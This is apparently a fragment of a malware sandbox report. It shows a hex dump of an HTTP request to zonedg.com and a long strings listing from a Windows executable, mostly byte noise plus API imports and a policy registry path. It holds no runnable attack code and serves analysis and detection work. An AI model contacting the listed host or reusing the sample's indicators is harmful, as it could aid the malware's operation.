0x000000e0 (00224)   44253344 20485454 502f312e 310d0a48   D%3D HTTP/1.1..H
0x000000f0 (00240)   6f73743a 207a6f6e 6564672e 636f6d0d   ost: zonedg.com.
0x00000100 (00256)   0a557365 722d4167 656e743a 206d6f7a   .User-Agent: moz
0x00000110 (00272)   696c6c61 2f322e30 0d0a436f 6e74656e   illa/2.0..Conten
0x00000120 (00288)   742d4c65 6e677468 3a20300d 0a436f6e   t-Length: 0..Con
0x00000130 (00304)   6e656374 696f6e3a 20636c6f 73650d0a   nection: close..
0x00000140 (00320)   0d0a2f62 6f64793e 0a3c2f68 746d6c3e   ../body>.</html>
0x00000150 (00336)   0a                                    .


Strings
`..
......
 
..
....
.
QcG
1.
.
-
.
.
080904b0
1.0.0.1
1973
_CLUSTER_NETWORK_NAME_
FileVersion
&find
&Find any        Alt+F
PrivateBuild
ProductVersion
\Registry\Machine\Software\Policies\Microsoft\Windows\System
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
``````
```````````````
`` ``_
^^^^^^^
~~~~~~~~~
<<<<<<<<
===    					::::::::::
=                (
||||||||||||
||||||||||||||||
  ; @@
  	\][
________
__}}}}
------
-------------
,,,,,,,,,,,,,,,,,,
,@@,@@
;:::::::
!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!
???????????
????????????
""""""""
((((((((
(((((((((((
(((((((((((((((((((((((((((((((
(@@%.  
)))))))
[[[[[[
]]]]]]]]]]]]]]]]]
{{{{{{{{{{{{{{{{{{{{{{{{
}''''''''''''''''''''
@@|(``
@@,@@[
@@(``+
@@@@@@
@@@@@@@
@@@@&&&&&&
@@$``@
$``*``
*``(  #
******
*******
********
**********.....
\\\\\\
\\\\\\\
\\\\\\\\\\\\\
&@@ @@
&&&&!!!!!!!!!!!!!!!
&&&&&&&&
%"``,``\
%%%%%%%
+++++++++
++++++++++
+++++++++++++++
00000000____
0000000000
``015	
}|)03"
``0'4h
 0-@h#QG
  (@@1
"""~~1
111111
11111111111
121zC{
``1.@@3
1$  \:C
1foA7]XP
*  @#2
222222
2222222233338888888888
2Bm$  
2D ``q[^.@@
':2E-(``
2_i#;Z
2jM$``y
2Js%@U
2"@@]v
^]   >3
   |3)
31LX`pa!
3333333
333333333TTTTTTBBBB
3333vvvvvvv
3Ce]k3
3%Jd_KU
3#j)I?;
_41!ydT
={&=-48
4=]y/U
``"@@5@^
(@@{5=
$``5^4
55555A
55Q9Q2
*@@|5AF
5'fe3a}"
5N&@@6b
5$[QPnJ
@@$@@5{uu
5"``vL
5w===QQQ
6666666
66[[[[[[[[WWOOOOOOOOOO
6FcylBr
6.``ol
<6   q
6	T<SYR
6*U*^z
6ZQz)Y
  71O9
`72@NQ
}}}}}}]77
777777777rr
#)7d[,
  >7JJ
7<oK]_
``7rRaH
 -7>^S
7t}L{6
7X|*@@
7X=B0K
  8$  3
84P9b:!
!!!!88
``8aH9
8FRefv
8J+ 4"
8$``K)
{8{?l_3
8OXEZ}2uN
!8R(TI
8;>vs`I
8xh{t*
9999999
999999999
99999999999999
99999999999999999
9999999999999999999999999999999999999999999999777
9.@@auO"
9g :RW
9$^jD\8
9LLLLLLL
9	O<3(JN
a.``_#%
@@\''A
A1Q+H^
*A/6@Oo
AAAAAA
aaaaaaa
aaaaaaaaaaaa
$$$$$$$$$$$$$aaaaaaaaaaaaaa
aaaDDDD
"  aF&``
AF,``)q4
AlphaBlend
A.  s|i
aSx'^rN
>(`_`b
B1.  MI 
B]/6BH^p
BBBByggg
b{\bW5k
?BFFf+<
BgA#(``;
B @@[jc
~BlyX!
B:o?	W
.  {bP
	b<,``X
  %B,  z
	|,``^BZ
C0Z[z(
C3/yYf
c9At|	
}cB$``
@@(  Cb!
cbhF.``
(((((((((((((((((((((((((((}&&&&&&&&CCC
cccccc
$$$$$$$$$$$$$$$$$$$$$cccccccccc//////nnnnn
ccccccccP
Ce.``v
c[fWq&
ckFfV$
ClipCursor
  cph"
CreatePopupMenu
?cS"@@
c.``<u
C&@@!u=
?cw8bbG
#d9}-^
@.data
DDDDDD
dddddddd
DDDDDDDDDvvvvvvvvv
ddLLLLLll
dDzf*B
D\.  e9
/[D;eE
DestroyMenu
dEybM'
DIHrG)@
Di?OF[
d"@@[N
dp*9/;e
DQQ<<<<<<<<<<<<<<<<<
d[[qqqqqqqqddddddd(wwwwwwwww>
 ``\Dt
Dv|:Kw9
``(  E.
&``E.``
e4?3&``
E^6B9ZJt&
E!7fV?%
e%a2yp
?eD>*@@=
&-]EEC
{{{{{{{EEEEE
EEEEEE=======
eeeeeee
eeeeeeee*****
eeeeeeeeeeeeeee
EEZZZZZ
EhPAPI
EK>y\d
``EOlS
E_p1is
@@E @@Q`
  $  -eR
ER(``!=
<evu ``*``
ExitProcess
  f&  
|||f888
&fEy	f
ffff"""""""""""""""""""""""""""""""77
)))))FFFFFFFF
FFFFFFFFF
FFFFFFpIIII
FindWindowA
FlushInstructionCache
F-P,@@>
``fP\9
@@*  FpTqV
``fV h
``"  g
;=%*&G
G```````
GdipCreateBitmapFromFile
GdipDisposeImage
GdipGetImageHeight
GdipGetImagePixelFormat
GdipGetImageWidth
gdiplus.dll
GetDesktopWindow
GetModuleFileNameA
GetVersionExA
``GG$``
????GG
''''''!!!!!!!!&&&GG]]
*``?G-G
GGGGGGGG
GGGGGG\\\\MMMMM
,@@gH/
;GI.?9
G%ie!G	q@
|GJ@7Y
g@mfSba
}GPsORuc
@@@,@@G`q
gQUo*  
@@Grp].
Gt_5Wxe
^{gvd=
G @@Wp_
G%X}#W
G@Zk5z
$@@=h:
h'4Io#^
h/\A.!y
H(  Ck
;\Hd*.
@hf#so
hG~0wn?
hh)))))
HHHH44444
hhhhh-
hhhhhhhhh
H;[m*Q|
#^hO-+0
h-r*@@;
H\RSTU
``Hslc
h.tSvjD
:hV_Fl
``hVkiS
Hw'"  
i0zP^={e
@@>`i2u$@@:K
)+i~)4N]Q
$@@	iB
i   ]CL@
IDn	F.
______III
iiiiii
IIIIII
IIIIIII
IIIIIIII
IIIIIIIIICC
iiiiiiiiiiiiiii111
IIIIIIIIwww
I_RpcFreeBuffer
iS**[$\,
``I*@@:S{
j(@@.``#
  [J};
@@j/0k
J*@@^6
JCbpmy
J[{\%Ef4
JHg</B
JHJio=_
(@@jHl
jiO wwt
JJJJJJJ
jjjjjjjjj
JK}\#y
Ju(  ua]9
j,``+Y
"  	_?k[
{k%,  
"K#>\2
@@>k4[
KBBBBBBBB
KERNEL32.dll
KFV7NM
k ``^H
KKKKKK
kkkkkkk
KKKKKKKKKKK
@@kOJh
#kQ#| @@t~>p
K_&>r%L
KtK?ruY$
":"(KW
@@k+ZlHC
.@@l,  
l^@*  
.``l{2+
L[+ ``a8
l['*by
LDZ_R'
|-LFG`
L.fX)A
>"lKY=	
ll::::::15555555555
"lLBGD
lll}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
llllll
lllllllllllllllllllllllllllll
LLLLLLLLL,sssss
lLZtYV
:L$  m
LoadLibraryW
LocalAlloc
LocalFree
.@@LUE
Ly;'Yi
>]m[_@^:
"  M&  
m$``+D
m%FSWy
M/klHjg
(``m'm
MMMMMMM;;;;cccc
mmmmmmmmE
Mr#Jyq	
MSIMG32.dll
ms;rb=	k
m%\tV5
@mUP\[
-mz&``^5
@N ``<
+]N(]#
n`2;i,
}n3\mo
N7Sa8c
N>>>>>>>       888((((((((roooo
n]>;9`
+"``n9	W
NE'o+7
NI?oF[*``
@@\nJed
Nl&#Y5	zc
)NN(``
NNN22mmmm
///nnnnn
nnnnnn<<<<<<<<GGGGGGG
nnnnnnmmmmmmbbbbbbbbb
NNN%%%%%====%%OTTTTTTTTTTTTTTT
N$``qv
NY%W=.
  *  o
``:=O@
@@O;^~
|O"  0
@@O0LW`
O,``AH
oDs3w}
*oFBC[.vJ|
ogARx?
oiIIIIIIIIII88
Oj*g03
_*``Ok
#<}oo|
ooooooo
OOOOOOOOOO
ooooooooooo
oooooooooooouuu
@oQ)^_S
#o)-xA
  ?;;p/
p[.@@=
))))))))))))P
	\p1g)n7R
``PE0p
P%FODAe9
p[GF5E6
Ph$vSv
"PI6`"w
p:\K6C
PL''')
PL]6b9
ppp11111
PPPPPP
ppppppppJJJJJ
PPPPPPPPPPPPPP
	p@pXe
pqx58.
ptOFac
?P,@@U
  |P\V
pXg>Y_
``\ ``q
[[[[[[]Q
*  Q+!
Q(@@<6
'Q#a3U
  QCh)
q>]g(  >
qK#0Y$  
QkT"S$-3jG
qo{T5'
QqB.Gj
qqqqqq
qqqqqqqqUUUUUUUUUUUUUUUUUU
QQQxxxxxxxxxx$$$$$
Q$  uxnO
q`v8/ly
r#B%Y<
`.rdata
>Re/%d*
RedrawWindow
.reloc
r(``JW
rmq6sj
RPCRT4.dll
RRKKKx
rrrrrr
rrrrrrBB,
RRRRRRR
RRRRRRRRRRRRRRRRRRgggggggggggggggggggggg\\\\\
R"*Sz<1
:RT;ti
%+"R>w.
R^!w&  
/R.``W
S0/ @@[,  H
<s+1Y~
SetLocaleInfoW
@@smq#
`sPhP{
ssss/////////
ssssss
ssssssss
ssssssssss
#sZf@S
~`t"``
@@;t[   
$@@*  T
T}a	H8
@@tfR^$
!thbNaL
!This program cannot be run in DOS mode.
TIG^.6
timeGetTime
T"``M   O
TrackPopupMenuEx
TransparentBlt
{{{{{{{{{{TT[[[[
ttttttttt
u6 L)wZ
ud;IL}
&@@udw
u{H	aS
Uh<tC`
U+H]%u
ui[fu]o
u/JX#u
uKn~r7
UKXIl$@@%
u*M9cl
unVZNy+l
  u?Od
;;;;URRRRRV
|"u&s@
USER32
UuidCreate
uuuuuuu
UUUUUUUUUUU!!!!
UUUUUUUUUUUUUUUUppppp
UUUUUUUUUUUUUUUUUU
uuuuuuuuuuuvvvvvvvvvvvvv
uuuxxxx
Uw;zy&
(@@UxC
@@uY/Q
  *@@v]
@@v1Q%
v2;*@@
V666666
vcU66O"
	vD~zs
'_Vf)o
#vGk<z
Vh,xUB
  Vkp 
,``V{TTC[
_VV7&}.
VVV44@@@@@@@:::::
vvvvvv
VVVVVVVVV///////
VVVVVVVVVV
VVVVVVVVVV||||||||||||||||||||||||||||||||||
vvvvvvvvvv00000
VVVVVVVVVVVVVVVVVVVVV
@vVyfnO
^w0*=<A
w444444444SSSSSttttt$
W"@@62
-WE*  
w#e}B4
WFN3+a
wH;G/J`
WINMM.dll
Wqa-dX#
www%%%%%%%%%%%@
wwwwww
wwwwwwwwwwwwwwwwKKKKKKK
WWWWWWWWWWWWWWWWWWWWWWWWWWB
@WwxpS 
wxaX:yB
"``Wxd
#WY9K4e|
	~]x3X
{x\.@@4
@@X;8i
@@X%A)&
@@;_Xb
{X'l&!
Xo*@@#
XR.``w
/x@V2Q]
xxxPPPPPPPP
XXXXXXXXXX
XXXXZZZZZZ
``$``+y>
;}y$``
@@_YAA-
yc_$``
,ydrlL
|ykBi,
,``<yL
Ys6,``
``ysGk
  Yv9|P
\yW$@@PL
YYYYYYYYYYYY
YYYYYYYYYYYYYYYYYYYY
yyyyzzzzzzzzzzzzzzzzzzzzzzzzzzzzYYY???????
.@@!z 
@@"@@Z
Z@?_e]
zgjM*LsxI$
zIX\LG{
zL_v>e
zmgU,  
zTbICTB.
ZtXY#]F
Zu,@@0
  zui_=
Zw@vV;)
  =ZZ4
ZZZZZZ
zzzzzzzzzzzzz
zzzzzzzzzzzzzzz
zZZZZZZZZZZZZZZZZZ